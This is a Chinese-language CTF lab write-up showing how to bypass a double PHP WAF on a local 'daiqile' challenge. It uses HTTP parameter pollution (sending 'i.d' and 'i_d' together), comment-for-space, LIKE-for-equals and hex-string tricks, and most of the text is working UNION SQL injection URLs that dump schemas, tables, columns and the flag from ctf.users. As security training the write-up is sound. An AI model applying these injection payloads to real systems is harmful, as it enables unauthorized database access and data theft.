一、環境
已上傳資源(daiqile)
二、代碼解釋
1.1Request
不管get請求還是post請求都可以接收到
1.2過濾的還挺多
?1.3第二個WAF把數據分為兩個了一個Key一個value,全是explode的功勞
1.4submit是if進入的前提
?很明顯走進來了
1.5那我們在這個前提下跟著傳入id(結果如下)
?
檢測一下字段:
http://127.0.0.1/daiqile/index.php?submit=aaaa&i_d=1%203--+
?
單引號閉合呢
?
下斷看單引號走到哪里去了
好很明顯被過濾掉了
而且這些字符被轉為了中文,daabase(),information()等等括號都被廢棄了
?
好了雙重WAF很煩,第一重把特殊字符搞掉了,第二重把括號給咱轉中文了
?那很難搞啊,我們想想有沒有一種可能性,第一次WAF認為我是正常語句,第二個WAF可以覆蓋,完蛋!!很難繞啊,這怎么可能,但是PHP有一個小特性,我們卻可以利用,廢話不多說看圖
我的后端:
前端傳兩個id看一下 ,很明顯PHP取的是后者
這點也被稱之為hpp全局污染
?
取的第二個到底有什么用呢??哈哈哈大用可來了看好了
我們假設這樣,我們有兩個字段id=1' union select 1,2,3&id=2(惡意字符)?,后面我們是好好輸入的,取第二個參數,所以第一個WAF過了,如果第二個WAF取的是我第一個參數,那不就好辦了
再看個PHP特性,php可以將. ,轉成下劃線
很明顯我前端傳入
http://127.0.0.1/daiqile/index.php?submit=aaaa&i_d=1%27&i.d=2
不報錯了?
在我后端看來我傳的就是
i_d=1'&i_d=2222
?第一次進去:把我id放這里
第二次進去:
好了php特性傳入的是i_d=1111'&i.d=22222
完美踐行了我上面所說的思路,WAF檢測的是2,而實際插入的數據庫卻是1?
ok實踐插入語句吧(注意空格替換為/**/,前面有攔截)
http://127.0.0.1/daiqile/index.php?submit=&i_d=-1/**/union/**/select/**/1,2,3,4&i.d=2
很明顯注入點出現了,是2?
注入:不知道庫名
http://127.0.0.1/daiqile/index.php?submit=&i_d=-1/**/union/**/select/**/1,table_name,3,4/**/from%20information_schema.tables/**/where/**/table_schema=%27%27&i.d=2
三、找庫名
?information()下依然有庫名的表,schemat
來庫名
那我們剛才的單引號中就可以填東西了,好了出數據,但是出的是第一個庫,在實際ctf比賽中,我們已經成功了,那接下來一個一個試唄
http://127.0.0.1/daiqile/index.php?submit=&i_d=-1/**/union/**/select/**/1,SCHEMA_NAME,3,4/**/from/**/information_schema.schemata/**/limit/**/0,1&i.d=222
?好了,嘗試成功:(很明顯爆庫了)
?四、庫名出來注入表名
http://127.0.0.1/daiqile/index.php?submit=&i_d=-1/**/union/**/select/**/1,table_name,3,4/**/from/**/information_schema.tables/**/where/**/table_schema=%27ctf%27/**/limit/**/12,1&i.d=222
不出數據為什么呢???等號被截斷了(等號分割),單引號在前端是正常的但是傳入后端會url編碼為%27數據庫不認識,那我們就需要替換了
?解決方法:使用like,單引號使用16進制
五、出表
http://127.0.0.1/daiqile/index.php?submit=&i_d=-1/**/union/**/select/**/1,table_name,3,4/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/0x637466/**/limit/**/0,1&i.d=222
?
六、查字段
很明顯,id。name,pass,flag
http://127.0.0.1/daiqile/index.php?submit=&i_d=-1/**/union/**/select/**/1,column_name,3,4/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/0x637466/**/and/**/table_name/**/like/**/0x7573657273/**/limit/**/0,10&i.d=222
七、查flag出數據:
http://127.0.0.1/daiqile/index.php?submit=aaa&i_d=-1/**/union/**/select/**/1,flag,3,4/**/from/**/ctf.users&i.d=123
八、?總結
單引號過濾16進制
等號過濾可以用like
空格繞過可以用注釋符?
?